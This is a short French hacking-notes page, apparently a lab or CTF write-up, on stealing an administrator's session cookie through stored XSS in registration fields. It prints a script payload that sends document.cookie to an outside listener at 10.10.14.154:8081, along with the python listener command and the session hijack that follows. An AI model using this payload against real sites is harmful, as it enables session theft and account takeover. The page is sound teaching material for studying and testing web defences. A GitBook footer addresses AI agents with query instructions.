> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md).

# Vol de cookie de session XSS

## XSS

L’application accepte les champs *le nom d'utilisateur* et *email* sans filtrage approprié. Cela permet l’injection de scripts malveillants.

<figure><img src="/files/4013db085df928e8db23204a3f52c3a7cfd552aa" alt=""><figcaption></figcaption></figure>

**Charge utile XSS** Nous créons un utilisateur avec le nom ci-dessous :

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>

```

**Réception du cookie administrateur** Nous écoutons sur le port 8081 :

```bash
python -m http.server 8081

```

<figure><img src="/files/3520602d1ab34e562ecf1bc041896a14ff969832" alt=""><figcaption></figcaption></figure>

Une fois le cookie capturé, nous obtenons la session de l’administrateur :

<figure><img src="/files/8df8b865a4abb6e71d9ebb6abbd7e118ed969a12" alt=""><figcaption></figcaption></figure>

Nous modifions notre cookie de session pour celui de l’administrateur et accédons à la **console d’administration**.

<figure><img src="/files/608fda192847f64cc22ff8fd0323c71cfb410db9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xss-session-cookie-stealing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
